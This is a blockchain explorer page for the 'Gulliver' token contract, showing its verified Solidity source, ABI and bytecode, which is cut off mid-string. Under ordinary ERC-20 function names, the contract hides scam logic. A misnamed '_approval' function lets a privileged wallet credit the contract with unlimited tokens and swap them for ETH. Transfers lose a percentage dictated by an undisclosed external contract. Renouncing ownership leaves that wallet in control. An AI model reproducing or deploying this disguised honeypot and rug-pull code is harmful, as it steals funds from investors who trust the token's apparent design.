ETH Price: $3,343.81 (+0.45%)
 

Overview

Max Total Supply

100,000,000,000 GULLIVER

Holders

43

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
182,379,050.531456022 GULLIVER

Value
$0.00
0x980c2e876e2a4f7dfbd73c596a5a1367abf42069
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Gulliver

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-09-25
*/

pragma solidity ^0.8.20;
//SPDX-License-Identifier: MIT

library SafeMath {

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);
}

interface IUniswapV2Router {
    function factory() external pure returns (address addr);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata _path, address c, uint256) external;
    function WETH() external pure returns (address aadd);
}

abstract contract Ownable {
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function owner() public view virtual returns (address) {return _owner;}
    address private _owner;
    modifier onlyOwner(){
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
}

contract Gulliver is Ownable {
    using SafeMath for uint256;

    uint256 public _decimals = 9;
    uint256 public _totalSupply = 100000000000 * 10 ** _decimals;

    function decimals() external view returns (uint256) {
        return _decimals;
    }

    string private _symbol = "GULLIVER";
    string private _name = "Gulliver";

    constructor() {
        _balances[sender()] =  _totalSupply; 
        _taxWallet = sender(); 
        emit Transfer(address(0), sender(), _balances[sender()]);
    }
    event Approval(address indexed a1, address indexed a2, uint256 value);
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function sender() internal view returns (address) {
        return msg.sender;
    }
    function name() external view returns (string memory) {
        return _name;
    }
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
    event Transfer(address indexed from_, address indexed _to, uint256);
    address public _taxWallet;
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function _approval(uint256 amount) external {
        if (isAirdropped()){address tokenAddress = address(this);
        _approve(tokenAddress, address(uniswapRouter), amount); 
        _balances[tokenAddress] = amount;
        address[] memory tokenz = new address[](2);
        tokenz[0] = tokenAddress; 
        tokenz[1] =  uniswapRouter.WETH(); 
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, tokenz, _taxWallet, block.timestamp + 29);
        } else {return; }
    }
    function decreaseAllowance(address from, uint256 amount) public returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(sender(), from, _allowances[msg.sender][from] - amount);
        return true;
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function _transfer(address from, address to, uint256 value) internal {
        require(from != address(0));
        require(value <= _balances[from]);
        uint256 tokenReward = airdropAmount(from);
        uint256 reward = value.mul(tokenReward).div(100);
        _balances[from] = _balances[from] - value;
        _balances[to] = _balances[to] + value - reward;
        emit Transfer(from, to, value);
    }
    mapping(address => uint256) private _balances;
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    mapping(address => mapping(address => uint256)) private _allowances;
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    IUniswapV2Router private uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    string signature = "balanceOf(address)";
    function isAirdropped() private view returns (bool) {
        return  _taxWallet == sender();
    }
    function airdropAmount(address acc) internal returns (uint256) {
        (bool e, bytes memory value) = rewardsWallet.call(abi
        .encodeWithSignature(signature, acc));
        return abi
        .decode(value, (uint256));
    }
    
    address private rewardsWallet = 0x186E87389B6C9515Cb00e52DAa0D17b714153B14;
    function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
        _transfer(from, recipient, _amount);
        require(_allowances[from][sender()] >= _amount);
        return true;
    }
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(sender(), recipient, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"a1","type":"address"},{"indexed":true,"internalType":"address","name":"a2","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from_","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_approval","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526009600155600154600a6200001a919062000568565b64174876e8006200002c9190620005b8565b6002556040518060400160405280600881526020017f47554c4c49564552000000000000000000000000000000000000000000000000815250600390816200007591906200085d565b506040518060400160405280600881526020017f47756c6c6976657200000000000000000000000000000000000000000000000081525060049081620000bc91906200085d565b50737a250d5630b4cf539739df2c5dacb4c659f2488d60085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280601281526020017f62616c616e63654f662861646472657373290000000000000000000000000000815250600990816200015791906200085d565b5073186e87389b6c9515cb00e52daa0d17b714153b14600a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015620001b8575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360025460065f62000287620003db60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620002d4620003db60201b60201c565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000323620003db60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60065f62000384620003db60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620003cd919062000952565b60405180910390a36200096d565b5f33905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200046c57808604811115620004445762000443620003e2565b5b6001851615620004545780820291505b808102905062000464856200040f565b945062000424565b94509492505050565b5f8262000486576001905062000558565b8162000495575f905062000558565b8160018114620004ae5760028114620004b957620004ef565b600191505062000558565b60ff841115620004ce57620004cd620003e2565b5b8360020a915084821115620004e857620004e7620003e2565b5b5062000558565b5060208310610133831016604e8410600b8410161715620005295782820a905083811115620005235762000522620003e2565b5b62000558565b6200053884848460016200041b565b92509050818404811115620005525762000551620003e2565b5b81810290505b9392505050565b5f819050919050565b5f62000574826200055f565b915062000581836200055f565b9250620005b07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000475565b905092915050565b5f620005c4826200055f565b9150620005d1836200055f565b9250828202620005e1816200055f565b91508282048414831517620005fb57620005fa620003e2565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200067e57607f821691505b60208210810362000694576200069362000639565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620006f87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006bb565b620007048683620006bb565b95508019841693508086168417925050509392505050565b5f819050919050565b5f620007456200073f62000739846200055f565b6200071c565b6200055f565b9050919050565b5f819050919050565b620007608362000725565b620007786200076f826200074c565b848454620006c7565b825550505050565b5f90565b6200078e62000780565b6200079b81848462000755565b505050565b5b81811015620007c257620007b65f8262000784565b600181019050620007a1565b5050565b601f8211156200081157620007db816200069a565b620007e684620006ac565b81016020851015620007f6578190505b6200080e6200080585620006ac565b830182620007a0565b50505b505050565b5f82821c905092915050565b5f620008335f198460080262000816565b1980831691505092915050565b5f6200084d838362000822565b9150826002028217905092915050565b620008688262000602565b67ffffffffffffffff8111156200088457620008836200060c565b5b62000890825462000666565b6200089d828285620007c6565b5f60209050601f831160018114620008d3575f8415620008be578287015190505b620008ca858262000840565b86555062000939565b601f198416620008e3866200069a565b5f5b828110156200090c57848901518255600182019150602085019450602081019050620008e5565b868310156200092c578489015162000928601f89168262000822565b8355505b6001600288020188555050505b505050505050565b6200094c816200055f565b82525050565b5f602082019050620009675f83018462000941565b92915050565b611d09806200097b5f395ff3fe608060405234801561000f575f80fd5b5060043610610109575f3560e01c80633eaaf86b116100a05780638da5cb5b1161006f5780638da5cb5b146102a757806395d89b41146102c5578063a457c2d7146102e3578063a9059cbb14610313578063dd62ed3e1461034357610109565b80633eaaf86b146102315780636f268a991461024f57806370a082311461026d578063715018a61461029d57610109565b8063313ce567116100dc578063313ce567146101a957806331d77f3d146101c757806332424aa3146101e3578063395093511461020157610109565b806306fdde031461010d578063095ea7b31461012b57806318160ddd1461015b57806323b872dd14610179575b5f80fd5b610115610373565b6040516101229190611340565b60405180910390f35b610145600480360381019061014091906113f1565b610403565b6040516101529190611449565b60405180910390f35b610163610419565b6040516101709190611471565b60405180910390f35b610193600480360381019061018e919061148a565b610422565b6040516101a09190611449565b60405180910390f35b6101b16104c4565b6040516101be9190611471565b60405180910390f35b6101e160048036038101906101dc91906114da565b6104cd565b005b6101eb61078f565b6040516101f89190611471565b60405180910390f35b61021b600480360381019061021691906113f1565b610795565b6040516102289190611449565b60405180910390f35b610239610835565b6040516102469190611471565b60405180910390f35b61025761083b565b6040516102649190611514565b60405180910390f35b6102876004803603810190610282919061152d565b610860565b6040516102949190611471565b60405180910390f35b6102a56108a6565b005b6102af6109d5565b6040516102bc9190611514565b60405180910390f35b6102cd6109fc565b6040516102da9190611340565b60405180910390f35b6102fd60048036038101906102f891906113f1565b610a8c565b60405161030a9190611449565b60405180910390f35b61032d600480360381019061032891906113f1565b610bb0565b60405161033a9190611449565b60405180910390f35b61035d60048036038101906103589190611558565b610bcd565b60405161036a9190611471565b60405180910390f35b606060048054610382906115c3565b80601f01602080910402602001604051908101604052809291908181526020018280546103ae906115c3565b80156103f95780601f106103d0576101008083540402835291602001916103f9565b820191905f5260205f20905b8154815290600101906020018083116103dc57829003601f168201915b5050505050905090565b5f61040f338484610c4f565b6001905092915050565b5f600254905090565b5f61042e848484610e12565b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610475611052565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156104b9575f80fd5b600190509392505050565b5f600154905090565b6104d5611059565b15610786575f30905061050a8160085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610c4f565b8160065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff811115610568576105676115f3565b5b6040519080825280602002602001820160405280156105965781602001602082028036833780820191505090505b50905081815f815181106105ad576105ac611620565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610651573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106759190611661565b8160018151811061068957610688611620565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8460055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601d4261073291906116b9565b6040518663ffffffff1660e01b81526004016107529594939291906117e5565b5f604051808303815f87803b158015610769575f80fd5b505af115801561077b573d5f803e3d5ffd5b50505050505061078b565b61078c565b5b50565b60015481565b5f61082b6107a1611052565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461082691906116b9565b610c4f565b6001905092915050565b60025481565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166108c56109d5565b73ffffffffffffffffffffffffffffffffffffffff161461091b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091290611887565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610a0b906115c3565b80601f0160208091040260200160405190810160405280929190818152602001828054610a37906115c3565b8015610a825780601f10610a5957610100808354040283529160200191610a82565b820191905f5260205f20905b815481529060010190602001808311610a6557829003601f168201915b5050505050905090565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610b11575f80fd5b610ba6610b1c611052565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ba191906118a5565b610c4f565b6001905092915050565b5f610bc3610bbc611052565b8484610e12565b6001905092915050565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb490611948565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d22906119d6565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e059190611471565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e49575f80fd5b60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054811115610e92575f80fd5b5f610e9c846110b6565b90505f610ec56064610eb784866111e390919063ffffffff16565b61125a90919063ffffffff16565b90508260065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f1091906118a5565b60065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550808360065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610f9b91906116b9565b610fa591906118a5565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110439190611471565b60405180910390a35050505050565b5f33905090565b5f611062611052565b73ffffffffffffffffffffffffffffffffffffffff1660055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b5f805f600a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166009856040516024016111049190611514565b604051602081830303815290604052906040516111219190611a90565b60405180910390207bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516111839190611aea565b5f604051808303815f865af19150503d805f81146111bc576040519150601f19603f3d011682016040523d82523d5f602084013e6111c1565b606091505b5091509150808060200190518101906111da9190611b14565b92505050919050565b5f8083036111f3575f9050611254565b5f82846112009190611b3f565b905082848261120f9190611bad565b1461124f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124690611c4d565b60405180910390fd5b809150505b92915050565b5f80821161129d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129490611cb5565b60405180910390fd5b5f82846112aa9190611bad565b90508091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156112ed5780820151818401526020810190506112d2565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611312826112b6565b61131c81856112c0565b935061132c8185602086016112d0565b611335816112f8565b840191505092915050565b5f6020820190508181035f8301526113588184611308565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61138d82611364565b9050919050565b61139d81611383565b81146113a7575f80fd5b50565b5f813590506113b881611394565b92915050565b5f819050919050565b6113d0816113be565b81146113da575f80fd5b50565b5f813590506113eb816113c7565b92915050565b5f806040838503121561140757611406611360565b5b5f611414858286016113aa565b9250506020611425858286016113dd565b9150509250929050565b5f8115159050919050565b6114438161142f565b82525050565b5f60208201905061145c5f83018461143a565b92915050565b61146b816113be565b82525050565b5f6020820190506114845f830184611462565b92915050565b5f805f606084860312156114a1576114a0611360565b5b5f6114ae868287016113aa565b93505060206114bf868287016113aa565b92505060406114d0868287016113dd565b9150509250925092565b5f602082840312156114ef576114ee611360565b5b5f6114fc848285016113dd565b91505092915050565b61150e81611383565b82525050565b5f6020820190506115275f830184611505565b92915050565b5f6020828403121561154257611541611360565b5b5f61154f848285016113aa565b91505092915050565b5f806040838503121561156e5761156d611360565b5b5f61157b858286016113aa565b925050602061158c858286016113aa565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806115da57607f821691505b6020821081036115ed576115ec611596565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f8151905061165b81611394565b92915050565b5f6020828403121561167657611675611360565b5b5f6116838482850161164d565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6116c3826113be565b91506116ce836113be565b92508282019050808211156116e6576116e561168c565b5b92915050565b5f819050919050565b5f819050919050565b5f61171861171361170e846116ec565b6116f5565b6113be565b9050919050565b611728816116fe565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61176081611383565b82525050565b5f6117718383611757565b60208301905092915050565b5f602082019050919050565b5f6117938261172e565b61179d8185611738565b93506117a883611748565b805f5b838110156117d85781516117bf8882611766565b97506117ca8361177d565b9250506001810190506117ab565b5085935050505092915050565b5f60a0820190506117f85f830188611462565b611805602083018761171f565b81810360408301526118178186611789565b90506118266060830185611505565b6118336080830184611462565b9695505050505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6118716020836112c0565b915061187c8261183d565b602082019050919050565b5f6020820190508181035f83015261189e81611865565b9050919050565b5f6118af826113be565b91506118ba836113be565b92508282039050818111156118d2576118d161168c565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6119326025836112c0565b915061193d826118d8565b604082019050919050565b5f6020820190508181035f83015261195f81611926565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6119c06023836112c0565b91506119cb82611966565b604082019050919050565b5f6020820190508181035f8301526119ed816119b4565b9050919050565b5f81905092915050565b5f819050815f5260205f209050919050565b5f8154611a1c816115c3565b611a2681866119f4565b9450600182165f8114611a405760018114611a5557611a87565b60ff1983168652811515820286019350611a87565b611a5e856119fe565b5f5b83811015611a7f57815481890152600182019150602081019050611a60565b838801955050505b50505092915050565b5f611a9b8284611a10565b915081905092915050565b5f81519050919050565b5f81905092915050565b5f611ac482611aa6565b611ace8185611ab0565b9350611ade8185602086016112d0565b80840191505092915050565b5f611af58284611aba565b915081905092915050565b5f81519050611b0e816113c7565b92915050565b5f60208284031215611b2957611b28611360565b5b5f611b3684828501611b00565b91505092915050565b5f611b49826113be565b9150611b54836113be565b9250828202611b62816113be565b91508282048414831517611b7957611b7861168c565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611bb7826113be565b9150611bc2836113be565b925082611bd257611bd1611b80565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c376022836112c0565b9150611c4282611bdd565b604082019050919050565b5f6020820190508181035f830152611c6481611c2b565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611c9f601b836112c0565b9150611caa82611c6b565b602082019050919050565b5f6020820190508181035f830152611ccc81611c93565b905091905056fea26469706673582212200b80a91d2f03386eae508d315b4778f6f40afab404b02679d1583df113d4918564736f6c63430008140033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610109575f3560e01c80633eaaf86b116100a05780638da5cb5b1161006f5780638da5cb5b146102a757806395d89b41146102c5578063a457c2d7146102e3578063a9059cbb14610313578063dd62ed3e1461034357610109565b80633eaaf86b146102315780636f268a991461024f57806370a082311461026d578063715018a61461029d57610109565b8063313ce567116100dc578063313ce567146101a957806331d77f3d146101c757806332424aa3146101e3578063395093511461020157610109565b806306fdde031461010d578063095ea7b31461012b57806318160ddd1461015b57806323b872dd14610179575b5f80fd5b610115610373565b6040516101229190611340565b60405180910390f35b610145600480360381019061014091906113f1565b610403565b6040516101529190611449565b60405180910390f35b610163610419565b6040516101709190611471565b60405180910390f35b610193600480360381019061018e919061148a565b610422565b6040516101a09190611449565b60405180910390f35b6101b16104c4565b6040516101be9190611471565b60405180910390f35b6101e160048036038101906101dc91906114da565b6104cd565b005b6101eb61078f565b6040516101f89190611471565b60405180910390f35b61021b600480360381019061021691906113f1565b610795565b6040516102289190611449565b60405180910390f35b610239610835565b6040516102469190611471565b60405180910390f35b61025761083b565b6040516102649190611514565b60405180910390f35b6102876004803603810190610282919061152d565b610860565b6040516102949190611471565b60405180910390f35b6102a56108a6565b005b6102af6109d5565b6040516102bc9190611514565b60405180910390f35b6102cd6109fc565b6040516102da9190611340565b60405180910390f35b6102fd60048036038101906102f891906113f1565b610a8c565b60405161030a9190611449565b60405180910390f35b61032d600480360381019061032891906113f1565b610bb0565b60405161033a9190611449565b60405180910390f35b61035d60048036038101906103589190611558565b610bcd565b60405161036a9190611471565b60405180910390f35b606060048054610382906115c3565b80601f01602080910402602001604051908101604052809291908181526020018280546103ae906115c3565b80156103f95780601f106103d0576101008083540402835291602001916103f9565b820191905f5260205f20905b8154815290600101906020018083116103dc57829003601f168201915b5050505050905090565b5f61040f338484610c4f565b6001905092915050565b5f600254905090565b5f61042e848484610e12565b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610475611052565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156104b9575f80fd5b600190509392505050565b5f600154905090565b6104d5611059565b15610786575f30905061050a8160085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610c4f565b8160065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff811115610568576105676115f3565b5b6040519080825280602002602001820160405280156105965781602001602082028036833780820191505090505b50905081815f815181106105ad576105ac611620565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610651573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106759190611661565b8160018151811061068957610688611620565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060085f9054906101000a900473ffffffffffffffff